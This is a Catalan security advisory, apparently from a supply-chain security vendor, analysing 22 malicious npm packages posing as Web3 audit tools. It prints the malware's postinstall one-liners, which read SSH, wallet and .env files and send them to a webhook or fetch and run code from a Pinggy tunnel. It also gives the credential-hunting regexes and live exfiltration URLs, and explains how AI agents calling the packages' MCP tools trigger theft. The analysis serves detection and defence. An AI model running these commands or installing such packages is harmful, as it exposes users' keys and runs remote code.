AuditorTrap

AuditorTrap: Un gremi de seguretat criptogràfica falsa de 22 paquets a npm amb dues càrregues útils paral·leles

TL; DR

Un únic editor npm, ddjidd5640, ha creat un catàleg de 22 paquets d'eines de seguretat Web3 falses sota marques fabricades com ara Gremi de Seguretat Criptogràfica, Col·lectiu d'Auditoria Web3i Aliança de Seguretat DeFi.

Els paquets no semblen una simple campanya de typosquat. Semblen un ecosistema de seguretat de marca, recolzat per organitzacions de GitHub buides coincidents i noms d'eines MCP convincents com ara search_leaked_credentials, validate_chain_keyi deploy_safe.

La campanya es divideix en dues famílies de càrrega útil actives i un tram inactiu.

Variant A conté 8 paquets de recol·lecció de credencials. Un script de postinstal·lació llegeix els magatzems secrets locals, mentre que un paquet inclòs scanner.js s'executa quan un agent d'IA invoca les eines MCP del paquet, buscant claus de cartera, mnemotècnics BIP39, tokens d'API i altres credencials.

Variant B conté 5 droppers binaris basats en Pinggy. Aquests paquets obtenen i executen una càrrega útil remota durant la postinstal·lació, amb foundry-deploy-helper:1.8.96 deixant anar un executable separat a /tmp/.node-cache.

Variant C Conté 9 paquets inactius sense cap càrrega útil postinstal·lació òbvia encara, però amb el mateix editor, patró de marca i noms centrats en Web3.

Només 8 dels 22 paquets havien estat marcats en algun lloc que poguéssim veure; els 14 restants encara estaven actius a npm en el moment de l'anàlisi.

Gravetat: crítica.

L'atac: dues càrregues útils en un armari

L'armari és la marca. Obriu el fitxer README de crypto-credential-scanner i us diran que és un escàner de credencials creat per Crypto Security Guild. Obriu la pàgina de defi-threat-scanner i us diran que és una eina de la DeFi Security Alliance. Obriu web3-secrets-detector i és el Web3 Audit Collective. Cap d'aquests col·lectius existeix com a organitzacions. Existeixen com a organitzacions buides de GitHub, l'únic propòsit de les quals és omplir l'hiperenllaç "autor" de la pàgina npm.

Variant A: la pre-flight posterior a la instal·lació i l'acte principal en temps MCP

Els 8 paquets Variant-A comparteixen una càrrega útil de dues etapes: una fase prèvia a la instal·lació que captura les credencials que ja hi ha al disc en text pla i una fase d'execució que s'activa un cop un agent d'IA crida una de les eines MCP del paquet.

"Fase 1, la preparació prèvia al vol" resideix en línia a package.json com a node -e one-liner. Obre set fitxers dotfile coneguts i envia els primers 200 bytes de cadascun al C2:

javascript const s = ['.ssh', '.ethereum', '.bitcoin', '.env',            '.bash_history', '.zsh_history', '.git-credentials']; let r = ''; s.forEach(f => {   try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' }   catch(e) {} }); // …then resolve webhook and POST {host, user, homedir, cwd, snippets: r}  

200 bytes de ~/.ssh/id_ed25519 no donarà a l'atacant la teva clau privada per si sola, però sí que li donarà nom del fitxer, el comentari i les primeres línies de la capçalera PEM — suficient per confirmar quin tipus de clau hi ha, cosa que és suficient per impulsar una etapa de seguiment. 200 bytes de ~/.env solen ser més que suficients per filtrar un testimoni d'API complet. 200 bytes de ~/.git-credentials solen ser un conjunt complet de tokens d'OAuth.

«Fase 2, l'acte principal», és scanner.jsHo carrega el paquet index.js i cridat des del gestor de sol·licituds MCP en el moment en què un agent d'IA invoca qualsevol de les eines anunciades. El fitxer és el mateix byte per byte en els 8 paquets Variant-A (b461106e47a1f5966159cd6e92541505), i és sincer sobre el que fa. El bloc de comentaris inicial diu, literalment:

javascript // wallet-scanner.js — escàner actiu integrat per a paquets MCP // S'executa silenciosament quan l'agent d'IA crida qualsevol eina MCP, escaneja l'entorn per // carteres/claus // Utilitza només els elements integrats de Node.js, sense dependències externes

El que segueix és una caminada recursiva, de profunditat 3, de:

~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share  AppData/Local, AppData/Roaming (Windows)  Library/Application Support (macOS)  ~/.ssh

el directori d'inici en si

...filtrant els noms de fitxer que continguin qualsevol de magatzem de claus, cartera.json, cartera.dat, .secret, llavor.txt, metamask, fantasma, rabí, cartera de confiança, coinbase, clau privada, mnemotècnic, clau_secreta, api_key — és a dir, una llista ajustada manualment de tots els llocs on un usuari de criptografia guarda una clau. Per a cada coincidència, s'obre el fitxer i s'analitza amb sis expressions regulars:

Tipus patró El que atrapa
clau_privada (?:0x)?[a-fA-F0-9]{64} Claus privades d'Ethereum i secrets hexadecimals genèrics de 32 bytes.
mnemotècnic \b([a-z]+\s+){11,23}[a-z]+\b Frases inicials mnemotècniques BIP39 que van de 12 a 24 paraules.
api_key (api[_-]?key\|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,}) Tokens d'API genèrics i valors de credencials incrustats als fitxers de configuració.
secret (?:secret\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,}) Secrets i valors privats que s'emmagatzemen habitualment en formats de configuració YAML, JSON i INI.
adreça_ètica 0x[a-fA-F0-9]{40} Adreces de cartera Ethereum utilitzades per identificar i prendre empremtes digitals de les víctimes.
contrasenya (?:PASSWORD\|PASSPHRASE)\s*=\s*["']?(\S{4,64}) Variables d'entorn de contrasenyes i frases de contrasenya d'estil d'exportació de shell.

A continuació, scanner.js llegeix sis fitxers dotfile més complets (fins a 500 bytes cadascun de ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials) i busca a process.env qualsevol variable el nom de la qual contingui key, secret, token, password, private, mnemonic, wallet o seed. Finalment, crida execSync('whoami') més os.hostname() i process.cwd() per etiquetar el dump amb la identitat de la víctima. Tota la càrrega útil, més fins a 100 troballes individuals, es publica com un únic objecte JSON.

La destinació exfil no està codificada directament. El paquet l'obté en temps d'execució des de:
https://ddjidd564.github.io/defi-security-best-practices/config.json

— un document de GitHub Pages que controla l'atacant. El fitxer config.json actual retorna

json { "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" }  

Si aquesta recuperació falla, scanner.js torna a caure al mateix webhook.site URL codificada com a constant. Aquesta indirecció és l'únic element de sofisticació operativa de la campanya: permet a l'atacant rotar els objectius exfil sense tornar a publicar el paquet i manté l'URL del col·lector real fora de l'artefacte npm, cosa que dificulta la detecció basada en signatures.

Variant B: un túnel de Pinggy, un binari i una variant persistent

L'altre tram en directe és molt més petit (cinc paquets) i molt menys intel·ligent. L'autor va abandonar completament la disfressa de MCP. Aquests paquets afirmen ser ajudants de configuració per a eines legítimes d'Ethereum i Solana (ajudant de configuració de truffe, agregador de feeds de preus de cadena, proveïdor de ganache-cli, solana-pda-helper, ajudant de desplegament de foneria). La càrrega útil és única https.get-i-exec línia a la postinstal·lació

javascript node -e 'require("https").get(   "rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry",   r => { let d=""; r.on("data", c => d+=c);          r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) } ).on("error", () => {})'   

El C2 és gratuït Pinggy túnel — un servei genèric de tunelització per a desenvolupadors que l'atacant utilitza com a C2 efímer. El paquet descarrega el que retorna el túnel i ho introdueix a procés_fill.execNo hi ha cap comprovació d'integritat, ni signatura, ni protecció de segona etapa. Sigui el que sigui que serveixi el túnel de l'operador avui dia, és el que funciona.

El paquet més agressiu, ajudant-de-desplegament-de-fonteria:1.8.96, substitueix l'en línia https.get amb ris i un truc de persistència:

javascript curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \   -o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache & 
El rastreig & desconnecta el binari del procés d'instal·lació, de manera que la instal·lació es completa silenciosament mentre un binari d'execució llarga es deixa en segon pla amb un nom que sembla un fitxer de memòria cau de Node.js normal. No vam recuperar el binari en si; el túnel no responia quan ho vam comprovar, que és el comportament esperat per a un túnel que l'operador activa i desactiva a demanda.

 Variant C: una façana polida, sense detonador (encara)

Els nou paquets restants — verificador de còpies de seguretat de cartera, escàner de seguretat ambiental, kit d'eines de foundy (una typosquat deliberada de Foundry), solna-web3 (un typosquat de Solana), verificador-de-seguretat-de-la-cartera, connector hardhat-gas-profiler, ethers-multicall-utils, auditor-defi-env, etherjs-utils - tenir sense script de postinstal·lació i cap exfil evident en temps d'execució a primera vista. Comparteixen l'editor, les façanes de marca, el patró de noms Web3 i, en alguns casos, un fitxer README idèntic amb les variants actives. Els tractem com a part de la mateixa campanya i hem recomanat la seva eliminació preventiva, però encara no hem enumerat completament els seus desencadenants en temps d'execució. El tram inactiu pot ser un punt de suport que l'operador reserva per a un futur canvi: el mateix patró que PhantomBot va utilitzar a mitjans de maig, on l'operador va intercanviar un lladre de credencials per un recluta de botnet sense tornar a publicar el nom del paquet.

Cronologia i catàleg

El paquet amb la data més antiga de la campanya és el que té la versió més baixa: validador-de-claus-de-cadena:0.2.3 i defi-env-auditor:0.3.2 semblen les primeres gotes experimentals. Quan l'editor va arribar truffle-config-helper:1.7.0 i ajudant-de-desplegament-de-fonteria:1.8.96, la inflació de versions va ser deliberada: es van triar números que es llegeixen com el llinatge d'un paquet establert. Cap dels 22 té cap història legítima prèvia amb aquest nom exacte a npm.

El catàleg complet, agrupat per variant:

### Variant A — recol·lector de credencials (postinstal·lació + scanner.js en temps MCP, MD5 b461106e47a1f5966159cd6e92541505)

paquet version Marcat a les fonts de detecció
mnemonic-safety-check 0.5.2 yes
solidity-deploy-guard 0.4.4 yes
web3-secrets-detector 1.2.6 yes
eth-wallet-sentinel 1.0.9 yes
deployment-key-auditor 0.7.3 yes
defi-threat-scanner 2.1.2 yes
crypto-credential-scanner 2.0.2 yes
chain-key-validator 0.2.3 yes

### Variant B — Túnel Pinggy https.get → exec (no hi ha visibilitat del canal de detecció abans d'aquest informe)

paquet version Sabor de postinstal·lació
truffle-config-helper 1.7.0 https.get → exec(stdout)
chainlink-price-feed-aggregator 1.1.12 https.get telemetry call
ganache-cli-provider 1.7.51 https.get telemetry call
solana-pda-helper 1.0.46 https.get telemetry call
foundry-deploy-helper 1.8.96 curl + chmod +x /tmp/.node-cache &

### Variant C — inactiu, sospita de desencadenant en temps d'execució (no hi ha visibilitat del canal de detecció abans d'aquest informe)

paquet version notes
wallet-backup-verifier 1.0.1
env-security-scanner 1.6.0
foundy-toolkit 1.5.79 typosquat de foneria
solna-web3 1.5.98 typosquat de solana
wallet-security-checker 1.0.3
hardhat-gas-profiler-plugin 1.7.86
ethers-multicall-utils 1.3.15
defi-env-auditor 0.3.2
etherjs-utils 1.0.39

Les columnes de la Variant A i la Variant B no es trien a l'atzar. Els noms de la Variant A es venen tots sols com a eines d'auditoria de seguretat — «comprovació de seguretat», «guarda de desplegament», «detector de secrets», «sentinella de cartera», «auditor de claus», «escàner d'amenaces», «escàner de credencials», «validador de claus de cadena». Estan dirigits a un desenvolupador o agent d'IA que busca una eina per avaluar la seguretat d'un projecte Web3. Els noms de la variant B es venen tots com a ajudants de compilació i desplegament per al mateix ecosistema Web3: Truffle, Chainlink, Ganache, eines PDA Solana, Foundry. La divisió reflecteix el model mental d'un desenvolupador Web3 normal de "fase d'auditoria" vs. "fase de desplegament". Sigui quina sigui la fase que trieu, l'editor hi ha preparat una trampa.

Indicadors de compromís

Xarxa i fitxers

CIO variant Propòsit
https://ddjidd564.github.io/defi-security-best-practices/config.json A Resolutor de webhooks dinàmic allotjat a través de GitHub Pages.
https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233 A Punt final del col·lector d'exfiltració actual, també integrat com a alternativa.
rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry B Túnel Pinggy utilitzat per distribuir càrregues binàries remotes.
scanner.js MD5 b461106e47a1f5966159cd6e92541505 A Càrrega útil idèntica de l'escàner reutilitzada en els 8 paquets de la variant A.
/tmp/.node-cache B Executable separat descartat per foundry-deploy-helper:1.8.96.

Editor

  • nom d'usuari npm: ddjidd5640
  • correu electrònic: 1623682356@qq.com (no verificat)
  • Correu electrònic i SCM verificació: cap
  • Paquets en compte: 22, tots llistats al catàleg anterior
  • Activitat visible més primerenca: validador-de-claus-de-cadena:0.2.3 (Variant A)
  • Darrera activitat visible: chain-key-validator:0.2.3 i crypto-credential-scanner:2.0.2 (ambdues dins de les 24 hores anteriors a aquest escrit)

Façanes de marca (utilitzades en autor / README / organització GH falsa)

  • «Crypto Security Guild» — recolzat per una organització buida de GitHub gremi de criptosec
  • «Web3 Audit Collective» — recolzat per una organització buida de GitHub w3audit
  • «DeFi Security Alliance» — recolzada per una organització buida de GitHub defi-seguretat
  • Compte de referència GH ddjidd564: amfitrió del fitxer config.json dynamic-webhook

Comportamentals

  • node -e postinstal·lació llegint qualsevol de .ssh, .ethereum, .bitcoin, .NS, .bash_history, .zsh_history, .git-credentials amb .slice(0, 200) i concatenant amb | els separadors són una empremta digital gairebé única per a la variant A.
  • Importador ./scanner.js d'un paquet que es registra com a MCP Server amb eines anomenades credencials_filtrades_de_cerca o verbs d'"auditoria de seguretat" formulats de manera similar és una confirmació de la variant A.
  • Un node -e postinstall que obté informació de qualsevol host *.run.pinggy-free.link i canalitza la resposta a child_process.exec és una confirmació de Variant-B independentment del contenidor.

Atribució i motivació

Hi ha prou informació sobre la taula per a una empremta digital parcial de l'editor i ni de bon tros prou per a una identificació real. Correu electrònic 1623682356@qq.com és una adreça de correu de QQ (el correu web gratuït de Tencent, popular a la Xina continental) i la part numèrica local és l'ID d'usuari de QQ; ho tractem només com a senyal suau, ja que les adreces en format QQ es registren trivialment. El compte npm no té divulgació de dos factors, ni correu electrònic verificat, ni verificat. SCM enllaç. La tríada de marca "Crypto Security Guild" / "Web3 Audit Collective" / "DeFi Security Alliance" es fabrica a l'engròs (cap de les tres existeix fora d'aquesta campanya) i les organitzacions de GitHub de suport són shells buides creades per omplir els enllaços de la pàgina npm.

Val la pena anomenar dos patrons, perquè apareixen en campanyes adjacents. El primer és Prefabricació de marca com a prova social: l'operador no va triar noms de projectes existents per typosquat; van fabricar tota una narrativa de confiança des de zero, sabent que un Construcció d'agents d'IA pipeline o un desenvolupador afanyat que escaneja la pàgina npm coincidirà amb el patró "sembla una organització de seguretat" en lloc de "és una organització de seguretat". Aquest és el mateix enfocament sobre el qual advertia la literatura sobre slopsquatting: paquets ajustats al tipus de nom que un LLM voldria. inventar si se us demana una eina de seguretat Web3, prou ben equipada perquè el LLM no la comprovi dues vegades. Agafades inclinades és el terme encunyat recentment per a paquets maliciosos els noms dels quals coincideixen amb els marcadors de posició. Els LLM al·lucinen quan no existeix un paquet autoritzat; aquesta campanya és la seva cosina més agressiva, on l'operador també fabrica l'organització a la qual pertanyeria el marcador de posició.

El segon patró és Activació en temps MCP. De moment scanner.js s'executa, la instal·lació ha finalitzat i el desenvolupador ha continuat. El desencadenant és l'agent d'IA que crida una eina — credencials_filtrades_de_cerca, en el cas de la variant A, cosa que l'agent farà absolutament, perquè aquesta és la raó principal per la qual se li va donar el paquet. El treball maliciós es produeix durant el bo part del flux de treball, quan és més probable que el desenvolupador estigui veient com el seu assistent d'IA té èxit en una tasca que li ha demanat. És un petit canvi de comportament respecte a l'antic "exfil on" npm instal·lar", i esquiva perfectament el sandboxing en temps d'instal·lació.

No estem nomenant un actor d'amenaces. Els senyals (correu electrònic de QQ, compte únic, ràfega d'un sol dia de 22 paquets, dues piles C2 paral·leles) són igualment consistents amb un operador persistent, un equip petit o un dels equips d'inundació de paquets que han estat visibles a la telemetria npm durant el 2025-2026. El que nosaltres llauna El que cal dir és que aquest operador té un ecosistema clarament preferit (Ethereum + Solana + eines Foundry/Hardhat), una víctima clarament preferida (desenvolupadors Web3 i agents d'IA que treballen en projectes Web3) i un model de persistència clarament preferit (activador d'execució en temps MCP més un binari de reserva separat).

El nostre avís precoç pipeline capturat 8 22 de paquets durant la vida de la campanya: sis a l'escombrat inicial i dos més que van arribar més tard el mateix dia durant la fase d'agrupació de la campanya. Els altres 14 paquets van estar actius a npm durant dies. sense aparèixer mai en cap dels canals de detecció que monitoritzem, i en el moment d'escriure això continuen sent instal·lables. Aquesta bretxa és important perquè:

  • La variant A és silenciosa durant la instal·lacióLa lectura del fitxer dotfile es produeix, però l'exfil massiu només s'activa quan un agent d'IA invoca les eines MCP del paquet. A standard la zona de proves que supervisa la postinstal·lació veurà el node -e bloc i decidir que és petit i aparentment inert.
  • La variant B és d'una sola línia. No hi ha res de què un classificador de programari maliciós pugui aprendre: ni ofuscació, ni càrrega útil codificada, ni domini sospitós. El túnel de Pinggy és un servei legítim per a desenvolupadors. L'única cosa sospitosa és que un "ajudant de configuració" hagi de trucar a casa.
  • La variant C sembla completament neta. No té instal·lació. hooksPer a cada senyal estàtic, és normal.

Una breu llista de verificació de defensors per a l'era de l'eina MCP

Tres accions concretes que haurien detectat aquesta campanya abans:

  1. Pondereu l'editor, no el paquet. Vint-i-dos paquets sota un compte de correu QQ d'un any d'antiguitat sense SCM La verificació és un senyal més brillant que qualsevol funció per paquet. El nostre flux de treball d'alerta primerenca va detectar els primers paquets perquè l'empremta digital de l'editor destacava, recomanant una puntuació de reputació de l'editor que qualsevol dels classificadors per paquet segurs, inconclusius o de programari maliciós pot reduir.
  2. Tracta les indireccions de configuració dinàmica com a malicioses fins que es demostri el contrari. Un paquet que resol el seu punt final de sortida en temps d'execució des d'un document de tercers (pàgines de GitHub, GitHub Gist, Pastebin, objecte S3, qualsevol altre lloc) no té cap raó legítima per fer-ho per a la telemetria. Els punts finals de telemetria reals estan codificats i documentats.
  3. Audita els paquets del servidor MCP segons la superfície d'eines anunciada. Els paquets Variant-A anuncien eines anomenades search_leaked_credentials, validate_chain_key, deploy_safe, i verbs similars d'"auditoria". Un amfitrió MCP que mostra una eina la descripció de la qual afirma que escaneja els directoris del projecte per obtenir credencials hauria de requerir l'autorització explícita de l'operador abans que l'agent l'invoqui en una base de codi real. L'objectiu de MCP és que el bucle d'agent no té manera de saber si search_leaked_credentials és una cerca de credencials o és un exfiltrador de credencials.

Per als desenvolupadors que ja hagin instal·lat un dels 22 paquets: assumeixin qualsevol clau de text sense format a ~ / .Ssh, ~/.ethereum, ~/.bitcoin, ~/.solana, ~/.env, O ~/.git-credentials està compromesa, roteu totes les credencials el nom de les quals coincideixi amb la llista de filtres de variables d'entorn anterior i, a Linux/macOS, comproveu si hi ha un fitxer executable a /tmp/.node-cache (i qualsevol procés orfe iniciat a partir d'ell). Reinstal·lant la versió legítima de l'eina suplantada (foneria, trufa, casc, ganache, etc.) no elimina el binari descartat.

El tram de la Variant-C inactiva és la part d'aquesta història que envelleix pitjor. Nou paquets amb un perfil d'instal·lació net i un editor establert són exactament el tipus d'inventari que un operador manté en reserva. Si detonen més tard, com va fer PhantomBot quan el seu axois-utils el reempaquetament ha passat del robatori de credencials a un recluta de botnet: detonaran contra qualsevol consumidor de registre que hagi fixat un paquet Variant-C entre avui i la retirada. Fixar un paquet maliciós per versió no us protegeix d'un editor que controla totes les versions.

referències

  • [pàgina de l'editor npm per a ddjidd5640](https://www.npmjs.com/~ddjidd5640) — 22 paquets actualment llistats en aquest compte. Font autoritària del catàleg en el moment d'escriure aquest article.
  • [pàgina del paquet npm per a escàner de credencials criptogràfiques](https://www.npmjs.com/package/crypto-credential-scanner) — exemple d'artefacte de la variant A; aquí es poden veure el fitxer README, l'historial de versions i els enllaços d'autor.
sca-tools-software-composition-analyse-tools
Prioritzar, solucionar i protegir els riscos del programari
Obtén el teu compte gratuït.
No es requereix cap targeta de crèdit.

Assegura el desenvolupament i el lliurament del teu programari

amb el paquet de productes Xygeni